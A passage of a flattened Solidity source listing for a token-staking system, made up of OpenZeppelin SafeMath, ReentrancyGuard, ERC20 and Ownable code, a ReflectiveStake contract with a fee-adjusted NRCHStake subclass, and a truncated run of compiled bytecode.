(true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: openzeppelin-solidity\contracts\utils\ReentrancyGuard.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: openzeppelin-solidity\contracts\token\ERC20\IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\ITREASURY.sol // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.6.0 <0.8.0; interface ITREASURY { function token() external view returns (IERC20); function fundsAvailable() external view returns (uint256); function release() external; } // File: node_modules\openzeppelin-solidity\contracts\utils\Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity\contracts\access\Ownable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\TokenPool.sol // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.6.0 <0.8.0; /** * @title A simple holder of tokens. * This is a simple contract to hold tokens. It's useful in the case where a separate contract * needs to hold multiple distinct pools of the same token. */ contract TokenPool is Ownable { IERC20 public token; constructor(IERC20 _token) public { token = _token; } function balance() external view returns (uint256) { return token.balanceOf(address(this)); } function transfer(address to, uint256 value) external onlyOwner returns (bool) { return token.transfer(to, value); } } // File: contracts\ReflectiveStake.sol // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; contract ReflectiveStake is ReentrancyGuard{ using SafeMath for uint256; event Staked(address indexed user, uint256 amount, uint256 total, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data); event TokensClaimed(address indexed user, uint256 amount); event TokensLocked(uint256 amount, uint256 durationSec, uint256 total); event TokensUnlocked(uint256 amount, uint256 total); TokenPool private _stakingPool; TokenPool private _unlockedPool; ITREASURY private _reflectiveTreasury; uint256 public constant BONUS_DECIMALS = 2; uint256 public startBonus = 0; uint256 public bonusPeriodSec = 0; uint256 public lockupSec = 0; uint256 public totalStakingShares = 0; uint256 public totalStakingShareSeconds = 0; uint256 public lastAccountingTimestampSec = block.timestamp; uint256 private _initialSharesPerToken = 0; struct Stake { uint256 stakingShares; uint256 timestampSec; } struct UserTotals { uint256 stakingShares; uint256 stakingShareSeconds; uint256 lastAccountingTimestampSec; } mapping(address => UserTotals) private _userTotals; mapping(address => Stake[]) private _userStakes; /** * @param stakingToken The token users deposit as stake. * @param distributionToken The token users receive as they unstake. * @param reflectiveTreasury The address of the treasury contract that will fund the rewards. * @param startBonus_ Starting time bonus, BONUS_DECIMALS fixed point. * e.g. 25% means user gets 25% of max distribution tokens. * @param bonusPeriodSec_ Length of time for bonus to increase linearly to max. * @param initialSharesPerToken Number of shares to mint per staking token on first stake. * @param lockupSec_ Lockup period after staking. */ constructor(IERC20 stakingToken, IERC20 distributionToken, ITREASURY reflectiveTreasury, uint256 startBonus_, uint256 bonusPeriodSec_, uint256 initialSharesPerToken, uint256 lockupSec_) public { // The start bonus must be some fraction of the max. (i.e. <= 100%) require(startBonus_ <= 10**BONUS_DECIMALS, 'ReflectiveStake: start bonus too high'); // If no period is desired, instead set startBonus = 100% // and bonusPeriod to a small value like 1sec. require(bonusPeriodSec_ > 0, 'ReflectiveStake: bonus period is zero'); require(initialSharesPerToken > 0, 'ReflectiveStake: initialSharesPerToken is zero'); _stakingPool = new TokenPool(stakingToken); _unlockedPool = new TokenPool(distributionToken); _reflectiveTreasury = reflectiveTreasury; require(_unlockedPool.token() == _reflectiveTreasury.token(), 'ReflectiveStake: distribution token does not match treasury token'); startBonus = startBonus_; bonusPeriodSec = bonusPeriodSec_; _initialSharesPerToken = initialSharesPerToken; lockupSec = lockupSec_; } function getStakingToken() public view returns (IERC20) { return _stakingPool.token(); } function getDistributionToken() external view returns (IERC20) { return _unlockedPool.token(); } function stake(uint256 amount) external nonReentrant { require(amount > 0, 'ReflectiveStake: stake amount is zero'); require(totalStakingShares == 0 || totalStaked() > 0, 'ReflectiveStake: Invalid state. Staking shares exist, but no staking tokens do'); // Get Actual Amount here minus TX fee uint256 transferAmount = _applyFee(amount); uint256 mintedStakingShares = (totalStakingShares > 0) ? totalStakingShares.mul(transferAmount).div(totalStaked()) : transferAmount.mul(_initialSharesPerToken); require(mintedStakingShares > 0, 'ReflectiveStake: Stake amount is too small'); updateAccounting(); // 1. User Accounting UserTotals storage totals = _userTotals[msg.sender]; totals.stakingShares = totals.stakingShares.add(mintedStakingShares); totals.lastAccountingTimestampSec = block.timestamp; Stake memory newStake = Stake(mintedStakingShares, block.timestamp); _userStakes[msg.sender].push(newStake); // 2. Global Accounting totalStakingShares = totalStakingShares.add(mintedStakingShares); // interactions require(_stakingPool.token().transferFrom(msg.sender, address(_stakingPool), amount), 'ReflectiveStake: transfer into staking pool failed'); emit Staked(msg.sender, transferAmount, totalStakedFor(msg.sender), ""); } /** * @notice Applies token fee. Override for tokens other than ELE. */ function _applyFee(uint256 amount) internal view virtual returns (uint256) { uint256 tFeeHalf = amount.div(200); uint256 tFee = tFeeHalf.mul(2); uint256 tTransferAmount = amount.sub(tFee); return tTransferAmount; } function unstake(uint256 amount) external nonReentrant returns (uint256) { updateAccounting(); return _unstake(amount); } function unstakeMax() external nonReentrant returns (uint256) { updateAccounting(); return _unstake(totalStakedFor(msg.sender)); } function _unstake(uint256 amount) private returns (uint256) { // checks require(amount > 0, 'ReflectiveStake: unstake amount is zero'); require(totalStakedFor(msg.sender) >= amount, 'ReflectiveStake: unstake amount is greater than total user stakes'); uint256 stakingSharesToBurn = totalStakingShares.mul(amount).div(totalStaked()); require(stakingSharesToBurn > 0, 'ReflectiveStake: Unable to unstake amount this small'); // 1. User Accounting UserTotals storage totals = _userTotals[msg.sender]; Stake[] storage accountStakes = _userStakes[msg.sender]; Stake memory mostRecentStake = accountStakes[accountStakes.length - 1]; require(block.timestamp.sub(mostRecentStake.timestampSec) > lockupSec, 'ReflectiveStake: Cannot unstake before the lockup period has expired'); // Redeem from most recent stake and go backwards in time. uint256 stakingShareSecondsToBurn = 0; uint256 sharesLeftToBurn = stakingSharesToBurn; uint256 rewardAmount = 0; while (sharesLeftToBurn > 0) { Stake storage lastStake = accountStakes[accountStakes.length - 1]; uint256 stakeTimeSec = block.timestamp.sub(lastStake.timestampSec); uint256 newStakingShareSecondsToBurn = 0; if (lastStake.stakingShares <= sharesLeftToBurn) { // fully redeem a past stake newStakingShareSecondsToBurn = lastStake.stakingShares.mul(stakeTimeSec); rewardAmount = computeNewReward(rewardAmount, newStakingShareSecondsToBurn, stakeTimeSec); stakingShareSecondsToBurn = stakingShareSecondsToBurn.add(newStakingShareSecondsToBurn); sharesLeftToBurn = sharesLeftToBurn.sub(lastStake.stakingShares); accountStakes.pop(); } else { // partially redeem a past stake newStakingShareSecondsToBurn = sharesLeftToBurn.mul(stakeTimeSec); rewardAmount = computeNewReward(rewardAmount, newStakingShareSecondsToBurn, stakeTimeSec); stakingShareSecondsToBurn = stakingShareSecondsToBurn.add(newStakingShareSecondsToBurn); lastStake.stakingShares = lastStake.stakingShares.sub(sharesLeftToBurn); sharesLeftToBurn = 0; } } totals.stakingShareSeconds = totals.stakingShareSeconds.sub(stakingShareSecondsToBurn); totals.stakingShares = totals.stakingShares.sub(stakingSharesToBurn); // 2. Global Accounting totalStakingShareSeconds = totalStakingShareSeconds.sub(stakingShareSecondsToBurn); totalStakingShares = totalStakingShares.sub(stakingSharesToBurn); // interactions require(_stakingPool.transfer(msg.sender, amount), 'ReflectiveStake: transfer out of staking pool failed'); if (rewardAmount > 0) { require(_unlockedPool.transfer(msg.sender, rewardAmount), 'ReflectiveStake: transfer out of unlocked pool failed'); } emit Unstaked(msg.sender, amount, totalStakedFor(msg.sender), ""); emit TokensClaimed(msg.sender, rewardAmount); require(totalStakingShares == 0 || totalStaked() > 0, "ReflectiveStake: Error unstaking. Staking shares exist, but no staking tokens do"); return rewardAmount; } function computeNewReward(uint256 currentRewardTokens, uint256 stakingShareSeconds, uint256 stakeTimeSec) private view returns (uint256) { uint256 newRewardTokens = totalUnlocked() .mul(stakingShareSeconds) .div(totalStakingShareSeconds); if (stakeTimeSec >= bonusPeriodSec) { return currentRewardTokens.add(newRewardTokens); } uint256 oneHundredPct = 10**BONUS_DECIMALS; uint256 bonusedReward = startBonus .add(oneHundredPct.sub(startBonus).mul(stakeTimeSec).div(bonusPeriodSec)) .mul(newRewardTokens) .div(oneHundredPct); return currentRewardTokens.add(bonusedReward); } function getUserStakes(address addr) external view returns (Stake[] memory){ Stake[] memory userStakes = _userStakes[addr]; return userStakes; } function getUserTotals(address addr) external view returns (UserTotals memory) { UserTotals memory userTotals = _userTotals[addr]; return userTotals; } function totalStakedFor(address addr) public view returns (uint256) { return totalStakingShares > 0 ? totalStaked().mul(_userTotals[addr].stakingShares).div(totalStakingShares) : 0; } function totalStaked() public view returns (uint256) { return _stakingPool.balance(); } function token() external view returns (address) { return address(getStakingToken()); } function treasuryTarget() external view returns (address) { return address(_unlockedPool); } function stakingPool() internal view returns (address) { return address(_stakingPool); } function updateAccounting() private returns ( uint256, uint256, uint256, uint256, uint256, uint256) { unlockTokens(); // Global accounting uint256 newStakingShareSeconds = block.timestamp .sub(lastAccountingTimestampSec) .mul(totalStakingShares); totalStakingShareSeconds = totalStakingShareSeconds.add(newStakingShareSeconds); lastAccountingTimestampSec = block.timestamp; // User Accounting UserTotals storage totals = _userTotals[msg.sender]; uint256 newUserStakingShareSeconds = block.timestamp .sub(totals.lastAccountingTimestampSec) .mul(totals.stakingShares); totals.stakingShareSeconds = totals.stakingShareSeconds .add(newUserStakingShareSeconds); totals.lastAccountingTimestampSec = block.timestamp; uint256 totalUserRewards = (totalStakingShareSeconds > 0) ? totalUnlocked().mul(totals.stakingShareSeconds).div(totalStakingShareSeconds) : 0; return ( totalPending(), totalUnlocked(), totals.stakingShareSeconds, totalStakingShareSeconds, totalUserRewards, block.timestamp ); } function isUnlocked(address account) external view returns (bool) { if (totalStakedFor(account) == 0) return false; Stake[] memory accountStakes = _userStakes[account]; Stake memory mostRecentStake = accountStakes[accountStakes.length - 1]; return block.timestamp.sub(mostRecentStake.timestampSec) > lockupSec; } function totalPending() public view returns (uint256) { return _reflectiveTreasury.fundsAvailable(); } function totalUnlocked() public view returns (uint256) { return _unlockedPool.balance(); } function totalAvailable() external view returns (uint256) { return totalUnlocked().add(totalPending()); } function unlockTokens() public { if (totalPending() > 0) _reflectiveTreasury.release(); } } // File: contracts\INRCH.sol // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.6.0 <0.8.0; interface INRCH { function transferedAfterTax(address _debtor, address _creditor, uint256 _value) external view returns (uint256); } // File: contracts\NRCHStake.sol // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.6.0 <0.8.0; contract NRCHStake is ReflectiveStake { using SafeMath for uint256; INRCH private _nrchContract; constructor(IERC20 stakingToken, IERC20 distributionToken, ITREASURY reflectiveTreasury, uint256 startBonus_, uint256 bonusPeriodSec_, uint256 initialSharesPerToken, uint256 lockupSec_, INRCH nrchContract) ReflectiveStake(stakingToken, distributionToken, reflectiveTreasury, startBonus_, bonusPeriodSec_, initialSharesPerToken, lockupSec_) public { _nrchContract = nrchContract; } function _applyFee(uint256 amount) internal view override returns (uint256) { return _nrchContract.transferedAfterTax(msg.sender, stakingPool(), amount); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063817b1cd2116100c3578063a694fc3a1161007c578063a694fc3a1461025b578063a779d08014610270578063b68e204c14610278578063d85d7f5b14610280578063f968f49314610288578063fc0c546a146102905761014d565b8063817b1cd2146101fb578063842e298114610203578063897cf0211461022357806399044f7c1461022b5780639f9106d11461024b578063a5be655c146102535761014d565b806338b45fde1161011557806338b45fde146101c05780633f90916a146101c85780634b341aed146101d0578063561dae91146101e357806370c6a17e146101eb5780637c6aa6f4146101f35761014d565b80631bef5c6a146101525780631dc27fde1461017057806322c12b84146101785780632bbf532a1461018d5780632e17de78146101ad575b600080fd5b61015a610298565b604051610167919061190b565b60405180910390f35b61015a61029e565b6101806102a3565b6040516101679190611342565b6101a061019b3660046112ba565b610325565b60405161016791906113e2565b61015a6101bb366004611312565b610407565b61015a61045c565b61015a610462565b61015a6101de3660046112ba565b6104df565b61015a61053c565b61015a61058f565b61015a610595565b61015a61059b565b6102166102113660046112ba565b6105e0565b6040516101679190611393565b61015a610666565b61023e6102393660046112ba565b61066c565b60405161016791906118ea565b6101806106bf565b61015a610704565b61026e610269366004611312565b61070a565b005b61015a610a00565b610180610a45565b61015a610a54565b61026e610a75565b610180610af0565b60065481565b600281565b60025460408051637e062a3560e11b815290516000926001600160a01b03169163fc0c546a916004808301926020929190829003018186803b1580156102e857600080fd5b505afa1580156102fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061032091908101906112f6565b905090565b6000610330826104df565b61033c57506000610402565b6001600160a01b0382166000908152600c60209081526040808320805482518185028101850190935280835260609492939192909184015b828210156103ba57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610374565b5050505090506103c861127f565b816001835103815181106103d857fe5b602002602001015190506006546103fc826020015142610afa90919063ffffffff16565b11925050505b919050565b6000600260005414156104355760405162461bcd60e51b815260040161042c9061181a565b60405180910390fd5b6002600055610442610b22565b50505050505061045182610c15565b600160005592915050565b60045481565b600354604080516327f05e8f60e11b815290516000926001600160a01b031691634fe0bd1e916004808301926020929190829003018186803b1580156104a757600080fd5b505afa1580156104bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610320919081019061132a565b600080600754116104f1576000610536565b6007546001600160a01b0383166000908152600b6020526040902054610536919061052a9061051e61059b565b9063ffffffff6110b316565b9063ffffffff6110f416565b92915050565b6000600260005414156105615760405162461bcd60e51b815260040161042c9061181a565b600260005561056e610b22565b505050505050610585610580336104df565b610c15565b9050600160005590565b60075481565b60055481565b600154604080516316d3df1560e31b815290516000926001600160a01b03169163b69ef8a8916004808301926020929190829003018186803b1580156104a757600080fd5b6001600160a01b0381166000908152600c602090815260408083208054825181850281018501909352808352606094859484015b8282101561065a57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610614565b50929695505050505050565b60095481565b610674611299565b61067c611299565b50506001600160a01b03166000908152600b6020908152604091829020825160608101845281548152600182015492810192909252600201549181019190915290565b60015460408051637e062a3560e11b815290516000926001600160a01b03169163fc0c546a916004808301926020929190829003018186803b1580156102e857600080fd5b60085481565b6002600054141561072d5760405162461bcd60e51b815260040161042c9061181a565b60026000558061074f5760405162461bcd60e51b815260040161042c906114ac565b60075415806107655750600061076361059b565b115b6107815760405162461bcd60e51b815260040161042c906116b4565b600061078c82611126565b9050600080600754116107b257600a546107ad90839063ffffffff6110b316565b6107d0565b6107d06107bd61059b565b60075461052a908563ffffffff6110b316565b9050600081116107f25760405162461bcd60e51b815260040161042c90611728565b6107fa610b22565b5050336000908152600b6020526040902080549094506108259350915084905063ffffffff6111b216565b815542600282015561083561127f565b50604080518082018252838152426020808301918252336000908152600c8252938420805460018181018355918652919094208351600290920201908155905192019190915560075461088e908463ffffffff6111b216565b60075560015460408051637e062a3560e11b815290516001600160a01b039092169163fc0c546a91600480820192602092909190829003018186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061090e91908101906112f6565b6001546040516323b872dd60e01b81526001600160a01b03928316926323b872dd92610944923392909116908a90600401611356565b602060405180830381600087803b15801561095e57600080fd5b505af1158015610972573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061099691908101906112d6565b6109b25760405162461bcd60e51b815260040161042c90611898565b337fc65e53b88159e7d2c0fc12a0600072e28ae53ff73b4c1715369c30f160935142856109de836104df565b6040516109ec929190611914565b60405180910390a250506001600055505050565b600254604080516316d3df1560e31b815290516000926001600160a01b03169163b69ef8a8916004808301926020929190829003018186803b1580156104a757600080fd5b6002546001600160a01b031690565b6000610320610a61610462565b610a69610a00565b9063ffffffff6111b216565b6000610a7f610462565b1115610aee57600360009054906101000a90046001600160a01b03166001600160a01b03166386d1a69f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050505b565b60006103206106bf565b600082821115610b1c5760405162461bcd60e51b815260040161042c9061159e565b50900390565b600080600080600080610b33610a75565b6000610b5060075461051e60095442610afa90919063ffffffff16565b600854909150610b66908263ffffffff6111b216565b600855426009819055336000908152600b60205260408120805460028201549193610b9b9261051e919063ffffffff610afa16565b6001830154909150610bb3908263ffffffff6111b216565b6001830155426002830155600854600090610bcf576000610be5565b610be560085461052a856001015461051e610a00565b9050610bef610462565b610bf7610a00565b600190940154600854919c949b509950975095504294509092505050565b6000808211610c365760405162461bcd60e51b815260040161042c90611851565b81610c40336104df565b1015610c5e5760405162461bcd60e51b815260040161042c9061164d565b6000610c7e610c6b61059b565b60075461052a908663ffffffff6110b316565b905060008111610ca05760405162461bcd60e51b815260040161042c906117c6565b336000908152600b60209081526040808320600c909252909120610cc261127f565b815482906000198101908110610cd457fe5b600091825260209182902060408051808201909152600290920201805482526001015491810182905260065490925090610d1590429063ffffffff610afa16565b11610d325760405162461bcd60e51b815260040161042c906113ed565b600084815b8115610e5257845460009086906000198101908110610d5257fe5b906000526020600020906002020190506000610d7b826001015442610afa90919063ffffffff16565b82549091506000908510610dff578254610d9b908363ffffffff6110b316565b9050610da88482846111d7565b9350610dba868263ffffffff6111b216565b8354909650610dd090869063ffffffff610afa16565b945087805480610ddc57fe5b600082815260208120600260001990930192830201818155600101559055610e4a565b610e0f858363ffffffff6110b316565b9050610e1c8482846111d7565b9350610e2e868263ffffffff6111b216565b8354909650610e43908663ffffffff610afa16565b8355600094505b505050610d37565b6001860154610e67908463ffffffff610afa16565b60018701558554610e7e908863ffffffff610afa16565b8655600854610e93908463ffffffff610afa16565b600855600754610ea9908863ffffffff610afa16565b60075560015460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb90610ede9033908d9060040161137a565b602060405180830381600087803b158015610ef857600080fd5b505af1158015610f0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f3091908101906112d6565b610f4c5760405162461bcd60e51b815260040161042c90611772565b8015610ff25760025460405163a9059cbb60e01b81526001600160a01b039091169063a9059cbb90610f84903390859060040161137a565b602060405180830381600087803b158015610f9e57600080fd5b505af1158015610fb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fd691908101906112d6565b610ff25760405162461bcd60e51b815260040161042c90611457565b337faf01bfc8475df280aca00b578c4a948e6d95700f0db8c13365240f7f973c87548a61101e836104df565b60405161102c929190611914565b60405180910390a2336001600160a01b03167f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e4308260405161106d919061190b565b60405180910390a2600754158061108b5750600061108961059b565b115b6110a75760405162461bcd60e51b815260040161042c90611528565b98975050505050505050565b6000826110c257506000610536565b828202828482816110cf57fe5b04146110ed5760405162461bcd60e51b815260040161042c9061160c565b9392505050565b60008082116111155760405162461bcd60e51b815260040161042c906115d5565b81838161111e57fe5b049392505050565b600d546000906001600160a01b0316633058006b33611143611270565b856040518463ffffffff1660e01b815260040161116293929190611356565b60206040518083038186803b15801561117a57600080fd5b505afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610536919081019061132a565b6000828201838110156110ed5760405162461bcd60e51b815260040161042c906114f1565b6000806111ec60085461052a8661051e610a00565b9050600554831061120f57611207858263ffffffff6111b216565b9150506110ed565b60006002600a0a905060006112538261052a8561051e61124460055461052a8c61051e6004548c610afa90919063ffffffff16565b6004549063ffffffff6111b216565b9050611265878263ffffffff6111b216565b979650505050505050565b6001546001600160a01b031690565b604051806040016040528060008152602001600081525090565b60405180606001604052806000815260200160008152602001600081525090565b6000602082840312156112cb578081fd5b81356110ed81611931565b6000602082840312156112e7578081fd5b815180151581146110ed578182fd5b600060208284031215611307578081fd5b81516110ed81611931565b600060208284031215611323578081fd5b5035919050565b60006020828403121561133b578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b602080825282518282018190526000919060409081850190868401855b828110156113d5578151805185528601518685015292840192908501906001016113b0565b5091979650505050505050565b901515815260200190565b60208082526044908201527f5265666c6563746976655374616b653a2043616e6e6f7420756e7374616b652060408201527f6265666f726520746865206c6f636b757020706572696f6420686173206578706060820152631a5c995960e21b608082015260a00190565b60208082526035908201527f5265666c6563746976655374616b653a207472616e73666572206f7574206f66604082015274081d5b9b1bd8dad959081c1bdbdb0819985a5b1959605a1b606082015260800190565b60208082526025908201527f5265666c6563746976655374616b653a207374616b6520616d6f756e74206973604082015264207a65726f60d81b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526050908201527f5265666c6563746976655374616b653a204572726f7220756e7374616b696e6760408201527f2e205374616b696e67207368617265732065786973742c20627574206e6f207360608201526f74616b696e6720746f6b656e7320646f60801b608082015260a00190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252604190820152